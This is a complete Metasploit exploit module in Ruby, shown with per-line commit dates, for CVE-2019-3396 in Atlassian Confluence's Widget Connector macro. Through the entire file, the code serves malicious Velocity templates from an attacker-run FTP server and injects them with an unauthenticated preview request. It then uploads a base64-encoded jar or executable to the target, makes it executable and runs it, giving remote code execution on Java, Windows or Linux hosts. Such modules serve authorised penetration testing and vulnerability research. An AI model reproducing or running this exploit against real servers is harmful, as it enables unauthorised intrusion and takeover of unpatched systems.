Files
metasploit-gs/modules/exploits/multi/http/confluence_widget_connector.rb
T

467 lines
14 KiB
Ruby
Raw Normal View History

2019-04-11 15:55:51 +03:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::FtpServer
def initialize(info={})
super(update_info(info,
'Name' => "Atlassian Confluence Widget Connector Macro Velocity Template Injection",
'Description' => %q{
Widget Connector Macro is part of Atlassian Confluence Server and Data Center that
2019-04-11 23:54:58 +03:00
allows embed online videos, slideshows, photostreams and more directly into page.
A _template parameter can be used to inject remote Java code into a Velocity template,
and gain code execution. Authentication is unrequired to exploit this vulnerability.
By default, Java payload will be used because it is cross-platform, but you can also
2019-04-11 15:55:51 +03:00
specify which native payload you want (Linux or Windows).
2019-04-11 23:54:58 +03:00
Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version
2019-04-11 15:55:51 +03:00
6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.
This vulnerability was originally discovered by Daniil Dmitriev
https://twitter.com/ddv_ua.
},
'License' => MSF_LICENSE,
'Author' =>
[
2019-04-11 23:39:50 +03:00
'Daniil Dmitriev', # Discovering vulnerability
'Dmitry (rrock) Shchannikov' # Metasploit module
2019-04-11 15:55:51 +03:00
],
'References' =>
[
[ 'CVE', '2019-3396' ],
2019-04-11 23:39:50 +03:00
[ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ],
2019-04-19 12:35:36 -05:00
[ 'URL', 'https://chybeta.github.io/2019/04/06/Analysis-for-%E3%80%90CVE-2019-3396%E3%80%91-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/'],
2019-04-11 23:39:50 +03:00
[ 'URL', 'https://paper.seebug.org/886/']
2019-04-11 15:55:51 +03:00
],
'Targets' =>
[
[ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }],
[ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }],
[ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }]
],
'DefaultOptions' =>
{
'RPORT' => 8090,
2019-04-11 15:55:51 +03:00
'SRVPORT' => 8021,
},
'Privileged' => false,
'DisclosureDate' => 'Mar 25 2019',
'DefaultTarget' => 0,
'Stance' => Msf::Exploit::Stance::Aggressive
2019-04-11 15:55:51 +03:00
))
register_options(
[
2019-06-25 12:43:04 -05:00
OptAddress.new('SRVHOST', [true, 'Callback address for template loading']),
2019-04-12 00:12:27 +03:00
OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),
2019-04-12 01:02:16 +03:00
OptString.new('TRIGGERURL', [true, 'Url to external video service to trigger vulnerability',
2019-06-25 12:43:04 -05:00
'https://www.youtube.com/watch?v=kxopViU98Xo'])
2019-04-11 15:55:51 +03:00
])
end
# Handles ftp RETP command.
#
# @param c [Socket] Control connection socket.
# @param arg [String] RETR argument.
# @return [void]
2019-04-12 22:00:23 +03:00
def on_client_command_retr(c, arg)
2019-04-11 15:55:51 +03:00
vprint_status("FTP download request for #{arg}")
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
2019-04-11 23:39:50 +03:00
case arg
when /check\.vm$/
2019-04-12 22:06:56 +03:00
conn.put(wrap(get_check_vm))
2019-04-11 23:39:50 +03:00
when /javaprop\.vm$/
2019-04-12 22:06:56 +03:00
conn.put(wrap(get_javaprop_vm))
2019-04-11 23:39:50 +03:00
when /upload\.vm$/
2019-04-12 22:06:56 +03:00
conn.put(wrap(get_upload_vm))
2019-04-11 23:39:50 +03:00
when /exec\.vm$/
2019-04-12 22:06:56 +03:00
conn.put(wrap(get_exec_vm))
2019-04-11 15:55:51 +03:00
else
2019-04-12 22:06:56 +03:00
conn.put(wrap(get_dummy_vm))
2019-04-11 15:55:51 +03:00
end
c.put("226 Transfer complete.\r\n")
conn.close
end
# Handles ftp PASS command to suppress output.
#
# @param c [Socket] Control connection socket.
# @param arg [String] PASS argument.
# @return [void]
2019-04-12 22:00:23 +03:00
def on_client_command_pass(c, arg)
2019-04-11 15:55:51 +03:00
@state[c][:pass] = arg
vprint_status("#{@state[c][:name]} LOGIN #{@state[c][:user]} / #{@state[c][:pass]}")
c.put "230 Login OK\r\n"
end
# Handles ftp EPSV command to suppress output.
#
# @param c [Socket] Control connection socket.
# @param arg [String] EPSV argument.
# @return [void]
2019-04-12 22:00:23 +03:00
def on_client_command_epsv(c, arg)
2019-04-11 15:55:51 +03:00
vprint_status("#{@state[c][:name]} UNKNOWN 'EPSV #{arg}'")
c.put("500 'EPSV #{arg}': command not understood.\r\n")
end
# Returns a upload template.
#
# @return [String]
2019-04-12 22:00:23 +03:00
def get_upload_vm
2019-04-11 15:55:51 +03:00
(
<<~EOF
$i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}'))
EOF
)
2019-04-11 23:54:58 +03:00
end
2019-04-11 15:55:51 +03:00
# Returns a command execution template.
#
# @return [String]
2019-04-12 22:00:23 +03:00
def get_exec_vm
2019-04-11 15:55:51 +03:00
(
<<~EOF
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor()
EOF
)
2019-04-11 23:54:58 +03:00
end
2019-04-11 15:55:51 +03:00
# Returns checking template.
#
# @return [String]
2019-04-12 22:00:23 +03:00
def get_check_vm
2019-04-11 15:55:51 +03:00
(
<<~EOF
#{@check_text}
EOF
)
end
# Returns Java's getting property template.
#
# @return [String]
2019-04-12 22:00:23 +03:00
def get_javaprop_vm
2019-04-11 15:55:51 +03:00
(
<<~EOF
$i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString()
EOF
)
end
# Returns dummy template.
#
# @return [String]
2019-04-12 22:00:23 +03:00
def get_dummy_vm
2019-04-11 15:55:51 +03:00
(
<<~EOF
EOF
)
2019-04-11 23:54:58 +03:00
end
2019-04-11 15:55:51 +03:00
2019-04-11 23:54:58 +03:00
# Checks the vulnerability.
2019-04-11 15:55:51 +03:00
#
# @return [Array] Check code
def check
checkcode = Exploit::CheckCode::Safe
begin
# Start the FTP service
print_status("Starting the FTP server.")
start_service
2019-04-12 22:00:23 +03:00
@check_text = Rex::Text.rand_text_alpha(5..10)
2019-06-25 12:43:04 -05:00
res = inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}check.vm")
2019-04-11 23:39:50 +03:00
if res && res.body && res.body.include?(@check_text)
2019-04-11 15:55:51 +03:00
checkcode = Exploit::CheckCode::Vulnerable
end
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
checkcode = Exploit::CheckCode::Unknown
end
checkcode
end
# Injects Java code to the template.
#
# @param service_url [String] Address of template to injection.
# @return [void]
def inject_template(service_url, timeout=20)
2019-04-11 15:55:51 +03:00
uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'headers' => {
'Accept' => '*/*',
2019-04-11 23:54:58 +03:00
'Origin' => full_uri(vhost_uri: true)
2019-04-11 15:55:51 +03:00
},
'ctype' => 'application/json; charset=UTF-8',
2019-04-11 23:54:58 +03:00
'data' => {
2019-04-11 15:55:51 +03:00
'contentId' => '1',
'macro' => {
'name' => 'widget',
'body' => '',
'params' => {
2019-04-12 00:16:45 +03:00
'url' => datastore['TRIGGERURL'],
2019-04-11 15:55:51 +03:00
'_template' => service_url
}
}
}.to_json
}, timeout=timeout)
2019-04-11 15:55:51 +03:00
2019-04-12 22:00:23 +03:00
unless res
unless service_url.include?("exec.vm")
print_warning('Connection timed out in #inject_template')
end
return
2019-04-12 22:00:23 +03:00
end
if res.body.include? 'widget-error'
2019-04-11 15:55:51 +03:00
print_error('Failed to inject and execute code:')
2019-04-12 22:00:23 +03:00
else
2019-04-11 15:55:51 +03:00
vprint_status("Server response:")
end
2019-04-12 22:00:23 +03:00
vprint_line(res.body)
2019-04-11 15:55:51 +03:00
res
end
# Returns a system property for Java.
#
# @param prop [String] Name of the property to retrieve.
# @return [String]
def get_java_property(prop)
@prop = prop
2019-06-25 12:43:04 -05:00
res = inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}javaprop.vm")
2019-04-11 15:55:51 +03:00
if res && res.body
return clear_response(res.body)
end
''
end
# Returns the target platform.
#
# @return [String]
2019-04-12 22:00:23 +03:00
def get_target_platform
2019-04-11 15:55:51 +03:00
return get_java_property('os.name')
end
# Checks if the target os/platform is compatible with the module target or not.
#
# @return [TrueClass] Compatible
# @return [FalseClass] Not compatible
def target_platform_compat?(target_platform)
target.platform.names.each do |n|
if n.downcase == 'java' || target_platform.downcase.include?(n.downcase)
2019-04-11 15:55:51 +03:00
return true
end
end
false
end
# Returns a temp path from the remote target.
#
# @return [String]
2019-04-12 22:00:23 +03:00
def get_tmp_path
2019-04-11 15:55:51 +03:00
return get_java_property('java.io.tmpdir')
end
# Returns the Java home path used by Confluence.
#
# @return [String]
2019-04-12 22:00:23 +03:00
def get_java_home_path
2019-04-11 15:55:51 +03:00
return get_java_property('java.home')
end
# Returns Java code that can be used to inject to the template in order to copy a file.
#
# @note The purpose of this method is to have a file that is not busy, so we can execute it.
# It is meant to be used with #get_write_file_code.
#
# @param fname [String] The file to copy
# @param new_fname [String] The new file
# @return [void]
def get_dup_file_code(fname, new_fname)
if fname =~ /^\/[[:print:]]+/
@command = "cp #{fname} #{new_fname}"
else
@command = "cmd.exe /C copy #{fname} #{new_fname}"
end
2019-06-25 12:43:04 -05:00
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm")
2019-04-11 15:55:51 +03:00
end
# Returns the normalized file path for payload.
#
# @return [String]
def normalize_payload_fname(tmp_path, fname)
# A quick way to check platform insteaf of actually grabbing os.name in Java system properties.
if /^\/[[:print:]]+/ === tmp_path
Rex::FileUtils.normalize_unix_path(tmp_path, fname)
else
Rex::FileUtils.normalize_win_path(tmp_path, fname)
end
end
# Exploits the target in Java platform.
#
# @return [void]
2019-04-12 22:00:23 +03:00
def exploit_as_java
2019-04-11 15:55:51 +03:00
tmp_path = get_tmp_path
if tmp_path.blank?
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
2019-04-11 23:54:58 +03:00
@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
2019-04-11 15:55:51 +03:00
@b64 = Rex::Text.encode_base64(payload.encoded_jar)
@command = ''
java_home = get_java_home_path
if java_home.blank?
fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
else
vprint_status("Found Java home path: #{java_home}")
end
register_files_for_cleanup(@fname)
if /^\/[[:print:]]+/ === @fname
normalized_java_path = Rex::FileUtils.normalize_unix_path(java_home, '/bin/java')
@command = %Q|#{normalized_java_path} -jar #{@fname}|
else
normalized_java_path = Rex::FileUtils.normalize_win_path(java_home, '\\bin\\java.exe')
@fname.gsub!(/Program Files/, 'PROGRA~1')
@command = %Q|cmd.exe /C "#{normalized_java_path}" -jar #{@fname}|
end
print_status("Attempting to upload #{@fname}")
2019-06-25 12:43:04 -05:00
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}upload.vm")
2019-04-11 15:55:51 +03:00
print_status("Attempting to execute #{@fname}")
2019-06-25 12:43:04 -05:00
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
2019-04-11 15:55:51 +03:00
end
# Exploits the target in Windows platform.
#
# @return [void]
2019-04-12 22:00:23 +03:00
def exploit_as_windows
2019-04-11 15:55:51 +03:00
tmp_path = get_tmp_path
if tmp_path.blank?
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
@fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
@fname.gsub!(/Program Files/, 'PROGRA~1')
new_fname.gsub!(/Program Files/, 'PROGRA~1')
register_files_for_cleanup(@fname, new_fname)
print_status("Attempting to upload #{@fname}")
2019-06-25 12:43:04 -05:00
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}upload.vm")
2019-04-11 15:55:51 +03:00
print_status("Attempting to copy payload to #{new_fname}")
get_dup_file_code(@fname, new_fname)
print_status("Attempting to execute #{new_fname}")
@command = new_fname
2019-06-25 12:43:04 -05:00
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
2019-04-11 15:55:51 +03:00
end
# Exploits the target in Linux platform.
#
# @return [void]
2019-04-12 22:00:23 +03:00
def exploit_as_linux
2019-04-11 15:55:51 +03:00
tmp_path = get_tmp_path
if tmp_path.blank?
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
@fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))
register_files_for_cleanup(@fname, new_fname)
print_status("Attempting to upload #{@fname}")
2019-06-25 12:43:04 -05:00
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}upload.vm")
2019-04-11 15:55:51 +03:00
@command = "chmod +x #{@fname}"
2019-06-25 12:43:04 -05:00
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm")
2019-04-11 15:55:51 +03:00
print_status("Attempting to copy payload to #{new_fname}")
get_dup_file_code(@fname, new_fname)
print_status("Attempting to execute #{new_fname}")
@command = new_fname
2019-06-25 12:43:04 -05:00
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
2019-04-11 15:55:51 +03:00
end
def exploit
2019-04-12 22:00:23 +03:00
@wrap_marker = Rex::Text.rand_text_alpha(5..10)
2019-04-11 23:39:50 +03:00
2019-04-11 15:55:51 +03:00
# Start the FTP service
print_status("Starting the FTP server.")
start_service
target_platform = get_target_platform
if target_platform.empty?
fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".')
else
print_status("Target being detected as: #{target_platform}")
end
2019-04-11 15:55:51 +03:00
unless target_platform_compat?(target_platform)
fail_with(Failure::BadConfig, 'Selected module target does not match the actual target.')
end
2019-04-12 22:00:23 +03:00
case target.name.downcase
when /java$/
2019-04-12 22:06:56 +03:00
exploit_as_java
2019-04-12 22:00:23 +03:00
when /windows$/
2019-04-12 22:06:56 +03:00
exploit_as_windows
2019-04-12 22:00:23 +03:00
when /linux$/
2019-04-12 22:06:56 +03:00
exploit_as_linux
2019-04-11 15:55:51 +03:00
end
end
# Wraps request.
#
# @return [String]
def wrap(string)
2019-04-11 23:39:50 +03:00
"#{@wrap_marker}\n#{string}#{@wrap_marker}\n"
2019-04-11 15:55:51 +03:00
end
# Returns unwrapped response.
#
# @return [String]
def clear_response(string)
2019-04-11 23:39:50 +03:00
if match = string.match(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)
2019-04-11 15:55:51 +03:00
return match.captures[0]
end
end
end